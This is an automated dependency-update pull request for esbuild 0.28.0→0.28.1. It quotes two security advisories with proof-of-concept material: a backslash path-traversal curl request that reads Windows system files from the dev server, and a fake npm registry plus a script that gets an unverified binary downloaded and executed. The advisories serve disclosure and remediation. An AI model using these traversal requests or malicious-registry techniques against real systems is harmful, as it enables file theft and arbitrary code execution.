🚨 [security] Update esbuild 0.28.0 → 0.28.1 (minor)

[depfu]

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

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Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ esbuild (0.28.0 → 0.28.1) · Repo · Changelog

Security Advisories 🚨

🚨 esbuild allows arbitrary file read when running the development server on Windows

Summary

The development server contains a path traversal vulnerability on Windows when serving files from servedir.

Due to the use of path.Clean() (which only normalizes forward-slash / separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (\) that bypass the intended directory containment logic. An attacker can escape the configured servedir root and access arbitrary files on the filesystem.
This issue affects Windows environments only.

Details

The request path is sanitized using:

// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]

However:

• path.Clean() is POSIX-style and only understands / (docs: https://pkg.go.dev/path#Clean)
• On Windows, \ is a valid path separator
• path.Clean() does not treat \ as a separator

Later, the server constructs the absolute path:

// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)

If queryPath contains sequences such as:

..\..\..\..\..\..\..\Windows\system.ini

path.Clean() will not normalize them, but the Windows filesystem will interpret \ as directory separators when resolving absPath.
Because the implementation does not verify that the final resolved path remains within servedir, it allows directory traversal outside the intended root directory.

Vulnerable Code

// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
	queryPath := path.Clean(req.URL.Path)[1:]
	....
	// Check for a file in the "servedir" directory
	if h.servedir != "" && kind != fs.FileEntry {
		absPath := h.fs.Join(h.servedir, queryPath)
		if absDir := h.fs.Dir(absPath); absDir != absPath {
			if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
				if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
	....				

Steps to reproduce

npm install --save-exact --save-dev esbuild
echo "console.log(1)" > app.js
.\node_modules.bin\esbuild --version

0.27.3
.\node_modules.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch
curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"

<content of Windows\system.ini>

Impact

• Arbitrary file read on Windows
• Exposure of sensitive files

🚨 esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY

Summary

The esbuild Deno module (lib/deno/mod.ts) downloads native binary executables from an npm registry and writes them to disk with executable permissions (0o755) without performing any integrity verification (e.g., SHA-256 hash check). The Node.js equivalent (lib/npm/node-install.ts) includes a robust binaryIntegrityCheck() function that verifies SHA-256 hashes against hardcoded expected values from package.json, but this protection was never implemented for the Deno distribution.

When the NPM_CONFIG_REGISTRY environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.

Details

Vulnerable code path — lib/deno/mod.ts lines 62–82:

async function installFromNPM(name: string, subpath: string): Promise<string> {
  const { finalPath, finalDir } = getCachePath(name)
  try { await Deno.stat(finalPath); return finalPath } catch (e) {}
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"  // line 70: attacker-controlled

const url = <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">npmRegistry</span><span class="pl-kos">}</span></span>/<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">name</span><span class="pl-kos">}</span></span>/-/<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">name</span><span class="pl-kos">.</span><span class="pl-en">replace</span><span class="pl-kos">(</span><span class="pl-s">"@esbuild/"</span><span class="pl-kos">,</span> <span class="pl-s">""</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>-<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">version</span><span class="pl-kos">}</span></span>.tgz     // line 71: URL uses attacker base

const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download

const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract
await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })

await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod

return finalPath                                                                              // line 81: no hash check

}

Missing protection — The Node.js equivalent at lib/npm/node-install.ts lines 228–234:

function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
  const hash = crypto.createHash('sha256').update(bytes).digest('hex')
  const key = `${pkg}/${subpath}`
  const expected = packageJSON['esbuild.binaryHashes'][key]
  if (!expected) throw new Error(`Missing hash for "${key}"`)
  if (hash !== expected) throw new Error(...)
}

This function is called in both the installUsingNPM() path (line 131) and the downloadDirectlyFromNPM() path (line 243), but no equivalent exists in the Deno module. Searching the entire git history confirms binaryIntegrityCheck, binaryHashes, sha256, and hash have never appeared in lib/deno/mod.ts.

Execution flow after download: The binary returned by installFromNPM() is passed to spawn() at line 291 of the same file:

const child = spawn(binPath, { args: [`--service=${version}`], ... })

Attack vector: The NPM_CONFIG_REGISTRY environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.

PoC

Prerequisites: Deno runtime, Node.js (for fake registry)

Step 1: Create a fake npm registry that serves a malicious binary:

// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
  const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
  // ... build tar.gz with fake binary as package/bin/esbuild ...
  res.writeHead(200, {'Content-Length': gz.length});
  res.end(gz);
}).listen(19876, () => console.log('READY'));

Step 2: Run the PoC with NPM_CONFIG_REGISTRY pointing to the fake server:

// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary

Step 3: Run:

node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED

Observed output in this environment:

Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0
Executing downloaded binary...

stdout: fake-esbuild-0.28.0
*** RCE CONFIRMED ***

Marker file content: PWNED

Build-local verification — using the actual built deno/mod.js:

The esbuild Deno module was built from source (node scripts/esbuild.js ./esbuild --deno) producing deno/mod.js. The fake registry test was then re-run using the actual module via import * as esbuild from "file:///path/to/deno/mod.js", triggering the real installFromNPM() → installFromNPM() code path:

[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0
[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***

[TEST] Marker file content: VULN-CONFIRMED

[TEST] The actual built deno/mod.js downloaded and executed

[TEST] a malicious binary from the fake registry WITHOUT

[TEST] performing any SHA-256 integrity verification.

The malicious binary was cached at ~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0 with contents:

#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"

Built-in Deno module (deno/mod.js) confirmed to contain NPM_CONFIG_REGISTRY usage (line 1900) and zero references to binaryIntegrityCheck, binaryHashes, sha256, or crypto.createHash.

Negative/control case — Node.js rejects the same fake binary:

Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check

Impact

An attacker who can control the NPM_CONFIG_REGISTRY environment variable in a Deno project using esbuild can achieve arbitrary code execution with the privileges of the Deno process. This is particularly relevant in:

• CI/CD pipelines where NPM_CONFIG_REGISTRY is commonly set to point to internal artifact repositories
• Shared development environments where environment variables may be inherited from parent processes
• Corporate networks where npm registry mirrors are configured via this environment variable

The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.

Suggested remediation

1. Add SHA-256 integrity verification to the Deno module, mirroring the existing binaryIntegrityCheck() function from lib/npm/node-install.ts:

// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);

2. Validate the NPM_CONFIG_REGISTRY URL to ensure it uses HTTPS (or at minimum warn about HTTP):

const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}

3. Add ESBUILD_BINARY_PATH validation in the Deno module, mirroring the isValidBinaryPath() check from lib/npm/node-platform.ts.

Regression test suggestion: Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

Commits

See the full diff on Github. The new version differs by 14 commits:

• publish 0.28.1 to npm
• security: add integrity checks to the Deno API
• enforce non-negative size in gzip parser
• security: forbid `\\` in local dev server requests
• fix #4482: don't inline `using` declarations
• fix #4471: renaming of nested `var` declarations
• fix some typos
• chore: fix some minor issues in comments (#4462)
• follow up: cjs evaluation fixes
• fix #4461, fix #4467: esm evaluation fixes
• update go 1.26.1 => 1.26.4 (closes #4464)
• fix #4448: `import =` uses `var` with `es5` target
• fix #4477: parens edge cases for `new` expressions
• js printer: `forbidCall` => `isNewTarget`

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